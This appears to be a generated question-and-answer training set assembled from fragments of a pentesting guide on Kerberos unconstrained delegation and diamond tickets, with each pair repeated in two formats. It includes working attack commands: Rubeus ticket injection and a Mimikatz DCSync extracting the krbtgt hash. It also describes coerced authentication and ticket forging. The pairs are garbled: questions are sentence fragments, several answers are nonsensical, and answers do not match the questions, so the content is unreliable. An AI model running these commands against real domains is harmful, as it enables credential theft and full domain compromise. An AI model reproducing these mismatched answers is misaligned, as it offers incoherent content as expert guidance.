Once the monitor is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.

`bash
Rubeus.exe asktgs /ticket:$base64_extracted_TGT /service:$target_SPN /ptt
`

Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

Once the TGT is injected, it can natively be used when accessing a service. For example, with Mimikatz, to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out There should be a krbtgt ccache file in the current directory. And it can be used by during a pentest?

[Assistant]
> [!CAUTION]
> In case, for some reason, attacking a Domain Controller doesn't work (i.e. error saying`Ciphertext integrity failed.`) try to attack others (if you're certain the credentials you supplied were correct). Some replication and propagation issues could get in the way.

Once the krbrelayx listener is ready, an [authentication coercion attack](../../mitm-and-coerced-authentications/) (e.g. [PrinterBug](../../mitm-and-coerced-authentications/#ms-rprn-abuse-a-k-a-printer-bug), [PrivExchange](../../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange), [PetitPotam](../../mitm-and-coerced-authentications/ms-efsr.md)) can be operated. The listener will then receive a Kerberos authentication, hence a ST, containing a TGT.

The TGT will then be usable with [Pass the Ticket](../ptt.md) (to act as the victim) or with [S4U2self abuse](s4u2self-abuse.md) (to obtain local admin privileges over the victim).

=== From the compromised computer (Windows)

Once the KUD capable host is compromised, [Rubeus](https://github.com/GhostPack/Rubeus) can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out There should be a krbtgt ccache file in the current directory. And it can be used by during a pentest?

Response:
> [!CAUTION]
> In case, for some reason, attacking a Domain Controller doesn't work (i.e. error saying`Ciphertext integrity failed.`) try to attack others (if you're certain the credentials you supplied were correct). Some replication and propagation issues could get in the way.

Once the krbrelayx listener is ready, an [authentication coercion attack](../../mitm-and-coerced-authentications/) (e.g. [PrinterBug](../../mitm-and-coerced-authentications/#ms-rprn-abuse-a-k-a-printer-bug), [PrivExchange](../../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange), [PetitPotam](../../mitm-and-coerced-authentications/ms-efsr.md)) can be operated. The listener will then receive a Kerberos authentication, hence a ST, containing a TGT.

The TGT will then be usable with [Pass the Ticket](../ptt.md) (to act as the victim) or with [S4U2self abuse](s4u2self-abuse.md) (to obtain local admin privileges over the victim).

=== From the compromised computer (Windows)

Once the KUD capable host is compromised, [Rubeus](https://github.com/GhostPack/Rubeus) can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!CAUTION]`?

[Assistant] This command is used for there should be a krbtgt ccache file in the current directory. and it can be used by. There should be a krbtgt ccache file in the current directory. And it can be used by

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> [!CAUTION]`?

Response: This command is used for there should be a krbtgt ccache file in the current directory. and it can be used by. There should be a krbtgt ccache file in the current directory. And it can be used by


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Once for there should be a krbtgt ccache file in the current directory. and it can be used by?

[Assistant] Once the monitor is ready, a [forced authentication attack](../../mitm-and-coerced-authentications/) (e.g. [PrinterBug](../../mitm-and-coerced-authentications/#ms-rprn-abuse-a-k-a-printer-bug), [PrivExchange](../../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange)) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Once for there should be a krbtgt ccache file in the current directory. and it can be used by?

Response: Once the monitor is ready, a [forced authentication attack](../../mitm-and-coerced-authentications/) (e.g. [PrinterBug](../../mitm-and-coerced-authentications/#ms-rprn-abuse-a-k-a-printer-bug), [PrivExchange](../../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange)) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for There should be a krbtgt ccache file in the current directory. And it can be used by?

[Assistant] Once the monitor is ready, a [forced authentication attack](../../mitm-and-coerced-authentications/) (e.g. [PrinterBug](../../mitm-and-coerced-authentications/#ms-rprn-abuse-a-k-a-printer-bug), [PrivExchange](../../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange)) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for There should be a krbtgt ccache file in the current directory. And it can be used by?

Response: Once the monitor is ready, a [forced authentication attack](../../mitm-and-coerced-authentications/) (e.g. [PrinterBug](../../mitm-and-coerced-authentications/#ms-rprn-abuse-a-k-a-printer-bug), [PrivExchange](../../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange)) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute There should be a krbtgt ccache file in the current directory. And it can be used by?

[Assistant]
Alternatively, the TGT can be used with [S4U2self abuse](s4u2self-abuse.md) in order to gain local admin privileges over the TGT's owner.

Once the TGT is injected, it can natively be used when accessing a service. For example, with [Mimikatz](https://github.com/gentilkiwi/mimikatz), to extract the `krbtgt` hash with [`lsadump::dcsync`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute There should be a krbtgt ccache file in the current directory. And it can be used by?

Response:
Alternatively, the TGT can be used with [S4U2self abuse](s4u2self-abuse.md) in order to gain local admin privileges over the TGT's owner.

Once the TGT is injected, it can natively be used when accessing a service. For example, with [Mimikatz](https://github.com/gentilkiwi/mimikatz), to extract the `krbtgt` hash with [`lsadump::dcsync`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Alternatively, the TGT can be used with [S4U2self abuse](s4u2self-abuse.md) in order to gain local admin privileges over the TGT's owner.`?

[Assistant] This command is used for there should be a krbtgt ccache file in the current directory. and it can be used by. There should be a krbtgt ccache file in the current directory. And it can be used by

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Alternatively, the TGT can be used with [S4U2self abuse](s4u2self-abuse.md) in order to gain local admin privileges over the TGT's owner.`?

Response: This command is used for there should be a krbtgt ccache file in the current directory. and it can be used by. There should be a krbtgt ccache file in the current directory. And it can be used by


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Diamond tickets - Theory

[Assistant] Golden and Silver tickets can usually be detected by probes that monitor the service ticket requests (KRB_TGS_REQ) that have no corresponding TGT requests (KRB_AS_REQ). Those types of tickets also feature forged PACs that sometimes fail at mimicking real ones, thus increasing their detection rates. Diamond tickets can be a useful alternative in the way they simply request a normal ticket, decrypt the PAC, modify it, recalculate the signatures and encrypt it again. It requires knowledge of the target service long-term key (can be the krbtgt for a TGT, or a target service for a Service Ticket).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Diamond tickets - Theory

Response: Golden and Silver tickets can usually be detected by probes that monitor the service ticket requests (KRB_TGS_REQ) that have no corresponding TGT requests (KRB_AS_REQ). Those types of tickets also feature forged PACs that sometimes fail at mimicking real ones, thus increasing their detection rates. Diamond tickets can be a useful alternative in the way they simply request a normal ticket, decrypt the PAC, modify it, recalculate the signatures and encrypt it again. It requires knowledge of the target service long-term key (can be the krbtgt for a TGT, or a target service for a Service Ticket).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Diamond tickets - Theory

[Assistant] Golden and Silver tickets can usually be detected by probes that monitor the service ticket requests (KRB_TGS_REQ) that have no corresponding TGT requests (KRB_AS_REQ). Those types of tickets also feature forged PACs that sometimes fail at mimicking real ones, thus increasing their detection rates. Diamond tickets can be a useful alternative in the way they simply request a normal ticket, decrypt the PAC, modify it, recalculate the signatures and encrypt it again. It requires knowledge of the target service long-term key (can be the krbtgt for a TGT, or a target service for a Service Ticket).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Diamond tickets - Theory

Response: Golden and Silver tickets can usually be detected by probes that monitor the service ticket requests (KRB_TGS_REQ) that have no corresponding TGT requests (KRB_AS_REQ). Those types of tickets also feature forged PACs that sometimes fail at mimicking real ones, thus increasing their detection rates. Diamond tickets can be a useful alternative in the way they simply request a normal ticket, decrypt the PAC, modify it, recalculate the signatures and encrypt it again. It requires knowledge of the target service long-term key (can be the krbtgt for a TGT, or a target service for a Service Ticket).